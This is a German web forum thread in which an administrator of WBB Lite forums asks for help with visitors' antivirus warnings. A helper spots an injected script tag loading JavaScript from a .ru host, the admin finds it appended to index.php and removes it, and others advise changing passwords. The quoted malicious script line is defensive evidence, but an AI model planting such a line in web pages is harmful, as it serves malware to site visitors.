Viren & Co in WBBlite?

So da ich langsam wirklich verzweifel wende ich mich weider einmal an euch und hoffe so eine Lösung für die Probleme zu finden... was kann ich tun? woran könnte es liegen wie könnte ich ggf von hackern eingefügte sqripte aufspüren?

Problembeschreibung:
Seit 2 Tagen melden mir vereinzelte User Viren bzw Trojanameldungen ihrer Antivierenprogramme wenn sie Foren aufrufen die auf meinem Webspace gehostet sind. (Bei einem User mit Kaspersky oder wie es heißt ist gar kein zugriff mehr möglich, bei anderen Usern betrifft es nur ein Forum - ich selbst habe mit antivier keine probleme)

Fehlermeldung:
Leider unterschiedlich (liegt wohl an den verschiedenen Antivierprogrammen)

Links zum Forum und Screenshot (KEINE Bilderhoster, per Dateianhang):
http://www.passionofwar.sandiego-rpg.de/
http://www.sandiego-rpg.de/

Was wurde zuletzt geändert oder eingebaut?
Nichts einzig der Rat des Hosters den inhalt des ftp downzuloaden und ihn mit virenprogrammen zu prüfen wurde gemacht (ergebnis war kein fund)

mmh, kommt das Problem nur auf der Index oder nur irgendwo im Thread ?

und dann noch ne Frage, was ist das

code: 1: 2: 3: <script type="text/javascript" src="http://misspan.ru/Native_File.js"></script> <!--74da24e8aa20a65e237a4314315b507f--></script>

müßte evtl. im index-Template hängen

da es auf anderen Seiten nicht auftaucht !

Also erstmal danke für deine schnelle antwort und ... wow gute frage nächste frage.

Ich mach mich mal auf die Suche danach, von mir is das auf keinen fall reingecodet ich teste mal ob die probleme behoben sind wenn das weg ist

Alsoooo ein erster blick in die Index.php brachte ganz unten am ende diesen komischen abschnitt (unter meinem Styldropdownpart erg NICHT VON MIR)

ich werde nun heute nacht alle datein auf diesen abschnitt kontrollieren nun noch 2 fragen

a) sollte ich den gesamten webspace leeren und dann neu aufspielen ja / nein?
b) wie kann ich verhindern das diese russen mir das nochmal reinpacken den ja .ru ist russland

Moin Moin,

zuerst: FTP Passwort, Mysql Passwort und Admin Passwort ändern.
Am besten Groß und Kleinschreibung, sonderzeichen und zahlen.

Ein komplettes löschen des Webspaces wird nichts bringen - wieso auch? Der "Virus" hockt in den Datein und nicht auf dem Webspace. Wo hostest du denn?

Zu b), einfach sichere Passwörter benutzen, die Daten nicht irgendwelche typen geben und auch schauen, dass du nicht zuviele Plugins nutzt.

Immer schön updaten

Die .ru Domain muss nichts heißen. Jeder kann sich .ru Domains registrieren, da ist nichts dabei

*Edit: So da nun mit Hilfe von mifupa alles wieder so ist wie es sein soll will ich nochmal ganzlieb danke sagen an alle die mir geholfen haben.

Sollte noch jemand plötzliche Virenmeldungen haben hier mein Problem in Kurzübersicht.

- in der Index. php &Acp/index.php wurde ein javasqriptvermerk (siehe oben) am Ende des Files angeführt.
- nachdem ich dieses gelöscht habe war alles wieder gut

Scheint so als hätte mal wieder ein Kellerkind langeweile gehabt ... in dem sinne nochmal danke an alle und :closed: